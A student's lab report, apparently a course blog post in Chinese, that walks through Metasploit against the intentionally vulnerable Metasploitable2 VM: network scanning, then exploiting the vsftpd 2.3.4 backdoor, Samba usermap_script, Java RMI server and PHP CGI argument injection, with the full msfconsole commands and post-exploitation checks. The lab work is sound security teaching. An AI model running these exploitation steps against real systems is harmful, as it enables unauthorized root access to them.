20232303 2025-2026-1 《网络与系统攻防技术》实验六实验报告

20232303 2025-2026-1 《网络与系统攻防技术》实验六实验报告

1. 实验内容

本实践目标是掌握metasploit的用法,具体完成以下实验内容:

  • 前期渗透
  • Vsftpd源码包后门漏洞(21端口)
  • SambaMS-RPC Shell命令注入漏洞(端口139)
  • Java RMI SERVER命令执行漏洞(1099端口)
  • PHP CGI参数执行注入漏洞(80端口)

1.1 Metasploit框架简介

Metasploit Framework(MSF)是一款开源的安全漏洞利用和测试工具,由HD Moore于2003年发布,并在2007年使用Ruby语言重写。它集成了各种平台上常见的溢出漏洞和流行的shellcode,是信息安全与渗透测试领域最流行的工具之一。

主要功能:

  • 信息收集:通过各种辅助模块进行端口扫描、服务识别等
  • 漏洞探测:内置数千个已知的软件漏洞,并持续更新
  • 漏洞利用:利用目标系统中的已知漏洞进行攻击
  • 后渗透攻击:在取得目标系统控制权后,执行进一步的攻击动作

主要组件:

  • Exploits(漏洞利用模块):负责利用目标系统的漏洞进行攻击
  • Payloads(攻击载荷):在成功利用漏洞后执行的代码或指令
  • Auxiliary(辅助模块):执行信息收集、扫描、嗅探等功能
  • Encoders(编码器):对Payload进行加密,绕过安全软件检测
  • Post(后渗透模块):在取得目标系统控制权后执行的进一步操作

2. 实验过程

2.1 环境安装

下载官方靶机Metasploitable2,导入VMWare中。

Metasploitable 虚拟机是 Ubuntu Linux 的一个有意存在漏洞版本,旨在测试安全工具并展示常见漏洞。

image

2.2 前期渗透

2.2.1 主机发现

首先登录Metasploitable2靶机,获取其IP地址:

登录凭据:

  • 用户名:msfadmin
  • 密码:msfadmin

登录后,执行以下命令查看靶机IP地址:

ifconfig

image

在Kali攻击机上启动Metasploit,使用辅助模块中的arp_sweep进行主机发现。

  1. 启动Metasploit控制台:
msfconsole
  1. 搜索并使用arp_sweep模块:
search arp_sweep
use auxiliary/scanner/discovery/arp_sweep
  1. 查看模块参数:
show options
  1. 设置扫描参数并执行:
set RHOSTS 192.168.140.0/24    
set THREADS 30               # 设置线程数,提高扫描速度
run

image

可以看到靶机在线并且给出了其网卡标识为VMWare,Inc.说明这是一台VMware虚拟机

2.2.2 端口扫描

方法一:使用nmap进行端口扫描

nmap -v 192.168.140.143 

image

或者进行更详细的全端口扫描:

nmap -p- 192.168.140.143   # 扫描所有端口

image

方法二:使用Metasploit的portscan/tcp模块

search portscan/tcp
use auxiliary/scanner/portscan/tcp
set RHOSTS 192.168.140.143 
run

image

2.2.3 扫描系统版本

扫描服务版本和操作系统:

nmap -sV -O 192.168.140.143 

-sV:探测服务版本
-O:探测操作系统版本

image

可以看到扫描出了大量网络服务,包括FTP、SSH、HTTP、Samba、数据库(MySQL、PostgreSQL)及多个远程管理服务(rpcbind、NFS),并且Nmap成功探测出了大部分服务的具体版本号(如vsftpd 2.0.5、OpenSSH 4.3)。同时,扫描还识别出目标操作系统为Linux 2.6.X内核。

2.3 Vsftpd源码包后门漏洞(21端口)

2.3.1 漏洞原理

Vsftpd源码包后门漏洞(CVE-2011-2523),又称"笑脸漏洞"。在vsftpd 2.3.4版本中,被人恶意植入了后门代码。当用户在登录时输入的用户名以特定字符"😃"结尾时,服务器会在6200端口打开一个监听的shell,并且该服务以root权限运行,攻击者可以通过这个后门获得未经授权的访问权限并执行任意代码。

2.3.2 漏洞利用步骤

  1. 在Kali中启动msfconsole:
msfconsole
  1. 搜索并选择漏洞利用模块:
search vsftpd
use exploit/unix/ftp/vsftpd_234_backdoor
  1. 查看模块参数:
show options
  1. 设置目标IP并执行攻击:
set RHOSTS 192.168.140.143 
run

image

  1. 攻击成功后,执行验证命令:
uname -a    # 查看系统信息
pwd         # 查看当前目录
id          # 查看当前用户权限
whoami      # 查看当前用户

image

攻击成功后执行验证命令的结果如上图所示,获得了root权限

2.4 Samba MS-RPC Shell命令注入漏洞(139端口)

2.4.1 漏洞原理

Samba是一套可使UNIX系列操作系统与Windows操作系统的SMB/CIFS网络协议进行连接的自由软件。在Samba 3.0.20至3.0.25rc3版本中存在命令注入漏洞。
Samba中负责在SAM数据库更新用户口令的代码未经过滤便将用户输入传输给了/bin/sh。如果在调用smb.conf中定义的外部脚本时,通过对/bin/sh的MS-RPC调用提交了恶意输入的话,就可能允许攻击者以nobody用户的权限执行任意命令。由于此选项用于在身份验证之前映射用户名,因此不需要身份验证即可利用此漏洞。

2.4.2 漏洞利用步骤

  1. 搜索并选择漏洞利用模块:
search usermap_script
use exploit/multi/samba/usermap_script
  1. 查看模块参数:
show options
  1. 设置目标IP并执行攻击:
set RHOSTS 192.168.140.143     
run

image

  1. 攻击成功后,执行验证命令:
uname -a    # 查看系统信息
pwd         # 查看当前目录
id          # 查看当前用户权限
ls          # 列出当前目录文件

image

攻击成功后执行验证命令的结果如上图所示

2.5 Java RMI SERVER命令执行漏洞(1099端口)

2.5.1 漏洞原理

Java RMI(Remote Method Invocation)是一种允许在不同Java虚拟机之间进行方法调用的分布式计算技术。Java RMI Server的RMI注册表和RMI激活服务的默认配置存在安全漏洞,可被利用导致远程代码执行。
该漏洞主要涉及序列化和反序列化过程中的安全风险。Java RMI默认使用序列化来完成所有的交互,如果RMI服务的1099端口暴露,攻击者就可以在目标系统上执行任意代码。

2.5.2 漏洞利用步骤

  1. 首先确认1099端口是否开放:
nmap -p 1099 192.168.140.143    

image

确认开放

  1. 搜索并选择漏洞利用模块:
search java_rmi_server
use exploit/multi/misc/java_rmi_server
  1. 查看模块参数:
show options
  1. 设置目标IP并执行攻击:
set RHOSTS 192.168.140.143  
run

image

  1. 攻击成功后,会建立meterpreter会话。查看会话:
sessions         # 列出所有会话
sessions -i 1    # 进入会话(数字为会话ID,根据实际情况修改)
  1. 在meterpreter中获取shell并验证:
shell            # 获取目标系统shell
whoami           # 查看当前用户
id               # 查看用户权限
uname -a         # 查看系统信息

image

成功建立会话并执行验证命令的结果如上图所示

2.6 PHP CGI参数执行注入漏洞(80端口)

2.6.1 漏洞原理

PHP CGI参数注入漏洞(CVE-2012-1823)是由于CGI脚本没有正确处理请求参数导致的。当PHP以CGI模式运行时,如果没有正确处理查询字符串参数,攻击者可以通过在URL中插入特定参数来执行任意代码。
该漏洞允许远程攻击者通过在请求参数中插入执行命令,导致源代码泄露或远程代码执行。

2.6.2 漏洞利用步骤

  1. 搜索并选择漏洞利用模块:
search php_cgi_arg_injection
use exploit/multi/http/php_cgi_arg_injection
  1. 查看模块参数:
show options
  1. 设置目标IP并执行攻击:
set RHOSTS 192.168.140.143 
run

image

  1. 攻击成功后,会建立meterpreter会话。获取shell并验证:
shell            # 获取目标系统shell
whoami           # 查看当前用户
pwd              # 查看当前目录
ls               # 列出目录内容
uname -a         # 查看系统信息

image

成功获取shell并执行验证命令的结果如上图所示。

3. 问题及解决方案

整体做下来没有遇到什么问题,原理方面需要再深入理解一下。

4. 学习感悟与思考

通过本次实验,我对Metasploit框架的实际应用有了更深入的理解。从前期的信息收集到漏洞利用,再到后期的权限维持,我体会到渗透测试是一个系统性工程,每一步都需要严谨和耐心。尤其是在利用Vsftpd后门漏洞和Samba命令注入漏洞的过程中我意识到不同服务漏洞的利用方式各有特点,需要灵活调整策略。
在实践过程中,我不仅掌握了Metasploit模块的选择与参数配置方法,也认识到自动化工具背后依赖的是对漏洞原理的深刻理解。例如Java RMI反序列化漏洞的利用,让我体会到漏洞成因与利用条件之间的关联性,这提醒我在今后的学习中不能只停留在工具操作层面,更要注重底层机制的分析。
这次实验也让我对网络攻防的对抗性有了更直观的感受。作为防御方,需要及时修补漏洞、关闭不必要的服务端口;而作为攻击方,则要善于利用服务配置弱点。这种双向视角的锻炼,有助于我在未来工作中更全面地评估系统安全性。
最后,通过亲手完成从渗透到控制靶机的全过程,我不仅巩固了课堂所学的知识,也增强了解决实际问题的能力。这种理论与实践结合的方式,让我对网络安全领域的学习产生了更浓厚的兴趣,也认识到持续跟进最新漏洞和攻防技术的重要性。

参考资料

posted @ 2025-11-23 21:14  20232303朱佳禾  阅读(5)  评论(0)    收藏  举报